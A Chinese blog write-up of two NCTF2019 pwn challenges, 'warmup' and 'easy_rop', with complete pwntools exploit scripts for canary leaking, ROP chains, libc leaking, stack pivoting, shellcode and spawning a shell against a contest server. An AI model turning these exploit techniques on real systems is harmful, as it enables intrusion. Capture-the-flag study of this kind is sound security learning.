NCTF2019 -- PWN部分writeup

pwn学习总结(二) —— PWN部分writeup

warmup

查看程序防护
checksec
查看反汇编
main
sub_400a06
sub_400ab6
已知条件

  1. 开启了溢出检测
  2. 开启了沙盒模式,只能调用libc中的open | read | write等读写函数
  3. 可以通过leak canary绕过溢出检测

EXP

#-*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"

elf  = ELF('./warm_up')
libc = ELF('./libc-2.23.so')

r = remote('139.129.76.65', 50007)

r.recvuntil('warm up!!!\n')
#距离canary24个字节,换行符0x0a会占据canary最后一个字节,使得canary发生泄露
r.sendline('a'*24)
r.recv(25)  #丢弃前25个字节,包括用于泄露canary的'\x0a'
canary = '\x00' + r.recv(7)
print(hex(u64(canary)))

pop_rdi_ret     = 0x400bc3
pop_rsi_r15_ret = 0x400bc1
start_addr      = 0x400910
bss_addr        = elf.bss()
puts_plt        = elf.symbols['puts']
libc_start_main_got = elf.got['__libc_start_main']

#leak libc
payload  = 'a'*24 + canary + 'b'*8
payload += p64(pop_rdi_ret)
payload += p64(libc_start_main_got)
payload += p64(puts_plt)
payload += p64(start_addr)

r.recvuntil(' ?')
r.sendline(payload)

libc_start_main = u64(r.recv(6).ljust(8,'\x00'))
#print('libc_start_main = ' + str(hex(libc_start_main)))
libc_base = libc_start_main - libc.symbols['__libc_start_main']

gets        = libc_base + libc.symbols['gets']
mprotect    = libc_base + libc.symbols['mprotect']
pop_rdx_ret = libc_base + libc.search(asm("pop rdx\nret")).next()

r.recvuntil('warm up!!!\n')
r.sendline('a')

payload  = 'a'*0x18 + canary + 'b'*8
#向bss + 0x500位置写入shellcode
payload += p64(pop_rdi_ret) + p64(bss_addr + 0x500) + p64(gets)
#构造mprotect,更改内存保护属性
payload += p64(pop_rdx_ret)     + p64(7)                   #设置保护属性
payload += p64(pop_rsi_r15_ret) + p64(0x1500) + p64(0)     #设置大小
payload += p64(pop_rdi_ret)     + p64((bss_addr>>12)<<12)  #设置起始地址
payload += p64(mprotect)   #调用mprotect
#修改内存保护属性后,令RIP指向下方构造的shellcode
payload += p64(bss_addr + 0x500)

r.recvuntil(' ?')
r.sendline(payload)

payload  = shellcraft.open("flag")
#将远程flag文件内容写入缓冲区,open成功时返回值为3
#                          fd  address          size
payload += shellcraft.read( 3, bss_addr+0x100, 0x30)
payload += shellcraft.write(1, bss_addr+0x100, 0x30)

r.sendline(asm(payload))
r.interactive()

由于服务器在写完wp后连不上了,这里放一张本地执行成功的截图,环境:ubuntu16.04
flag

easy_rop

查看程序防护
在这里插入图片描述
查看反汇编
反汇编
调试的时候发现main函数的rbp居然是pie,而返回地址下面第四行是main函数自己的头部指针
pie
已知条件

  1. 存在栈溢出,大小为4个栈单元
  2. 开启了canary保护,可以用’+'号绕过
  3. main函数的 rbp 为 pie(基址)
  4. main函数的返回地址下面存在main函数头部指针

解题思路

  1. 使用’+'号绕过canary值
  2. 劫持pie,通过pie和静态偏移得到想要的真实地址
  3. 第一次执行main函数时,迁移rbp指向 unk_201420 - 8 的位置
    rsp指向main函数头部指针,retn后再次执行main函数
  4. 第二次执行main函数时,迁移rsp指向 unk_201420 的位置
  5. 通过main函数的read函数向unk_201420写入rop链,功能:
    1. leak libc,得到版本信息,计算system函数和’/bin/sh’字符串在libc中的偏移
    2. 调用万能gadget,进行任意函数执行,由于leak libc后要进行利用的话需要计算偏移后再次写入rop链,所以这里使用read函数在下方构造system(’/bin/sh’)即可getshell

注意:exp中没有对负数进行处理,可能需要多打几次才行

Leak Libc EXP

#-*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'

elf   = ELF('./easy_rop')

#r = process('./easy_rop')
r = remote('139.129.76.65', 50002)

'''first main'''
r.recvuntil('number 0: ')
#bypass canary
for i in range(0,30):
	r.sendline('+')

#get pie
r.recvuntil('number 28 = ')
pie_l8 = int(r.recvuntil('\n',True), 10)
r.recvuntil('number 29 = ')
pie_h8  = int(r.recvuntil('\n',True), 10)
pie = (pie_h8 << 32) + pie_l8 - 0xb40

def send64(num):
	#low  4byte
	if num % 0x100000000 > 0x7fffffff:
		r.sendlineafter(':', str((-1 * num) % 0x100000000))
	else:
		r.sendlineafter(':', str(num % 0x100000000))
	#high 4byte
	r.sendlineafter(':', str(num >> 32))

new_stack      = pie + 0x201420 - 8
pop_rdi_ret    = pie + 0xba3
general_gadget = pie + 0xb80
leave_ret      = pie + 0xb31
pop_rbp_r14_r15_ret = pie + 0xb9f
pop_rbx_rbp_r12_r13_r14_r15_ret = pie + 0xb9a

#return to main
#the end rsp point to the main
send64(pop_rbp_r14_r15_ret)
#rbp to new stack
send64(new_stack)
r.sendlineafter('name?\n', '1')

'''secend main'''
r.recvuntil('number 0: ')
for i in range(0,28):
	r.sendline('+')

#rsp to new stack
#rbp to new stack-8(pie + 0x201420)
send64(new_stack)	#number 28 & 29 -- rbp
send64(leave_ret)	#number 30 & 31 -- return address
r.sendlineafter('number 32: ','++')  # number 32 & 33

r.recvuntil('name?\n',True)
#leak libc
payload  = p64(pop_rdi_ret)
payload += p64(pie + elf.got['__libc_start_main'])
payload += p64(pie + elf.plt['puts'])

r.sendline(payload)
libc_start_main = u64(r.recv(6).ljust(8, '\x00'))
print('libc_start_main = ' + hex(libc_start_main))

r.interactive()

leak_libc
通过后三位偏移,使用在线网站libc database search搜索libc版本
libc_database_search
Getshell EXP
本地一直无法成功,连上服务器能够成功getshell,暂时未定位到问题所在

#-*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'

elf   = ELF('./easy_rop')

#r = process('./easy_rop')
r = remote('139.129.76.65', 50002)

'''first main'''
r.recvuntil('number 0: ')
#bypass canary
for i in range(0,30):
	r.sendline('+')

#get pie
r.recvuntil('number 28 = ')
pie_l8 = int(r.recvuntil('\n',True), 10)
r.recvuntil('number 29 = ')
pie_h8  = int(r.recvuntil('\n',True), 10)
pie = (pie_h8 << 32) + pie_l8 - 0xb40

def send64(num):
	#low  4byte
	if num % 0x100000000 > 0x7fffffff:
		r.sendlineafter(':', str((-1 * num) % 0x100000000))
	else:
		r.sendlineafter(':', str(num % 0x100000000))
	#high 4byte
	r.sendlineafter(':', str(num >> 32))

new_stack      = pie + 0x201420 - 8
pop_rdi_ret    = pie + 0xba3
general_gadget = pie + 0xb80
leave_ret      = pie + 0xb31
pop_rbp_r14_r15_ret = pie + 0xb9f
pop_rbx_rbp_r12_r13_r14_r15_ret = pie + 0xb9a

#return to main
#the end rsp point to the main
send64(pop_rbp_r14_r15_ret)
#rbp to new stack
send64(new_stack)
r.sendlineafter('name?\n', '1')

'''secend main'''
r.recvuntil('number 0: ')
for i in range(0,28):
	r.sendline('+')

#rsp to new stack
#rbp to new stack-8(pie + 0x201420)
send64(new_stack)	#number 28 & 29 -- rbp
send64(leave_ret)	#number 30 & 31 -- return address
r.sendlineafter('number 32: ','++')  # number 32 & 33

r.recvuntil('name?\n',True)
#leak libc
payload  = p64(pop_rdi_ret)
payload += p64(pie + elf.got['__libc_start_main'])
payload += p64(pie + elf.plt['puts'])

#general gadget
payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
#          0        1        function                     parameter3   parameter2           parameter1
payload += p64(0) + p64(1) + p64(pie + elf.got['read']) + p64(0x666) + p64(new_stack + 8) + p64(0)
payload += p64(general_gadget) #general gadget address

r.sendline(payload)
#get libc_start_main
libc_start_main = u64(r.recv(6).ljust(8, '\x00'))
#print('libc_start_main = ' + hex(libc_start_main))
system_addr = libc_start_main + 0x24c50
bin_sh      = libc_start_main + 0x16c617

payload  = 'a'*80		#rsp offset
payload += p64(pop_rdi_ret)
payload += p64(bin_sh)
payload += p64(system_addr)

r.sendline(payload)
r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值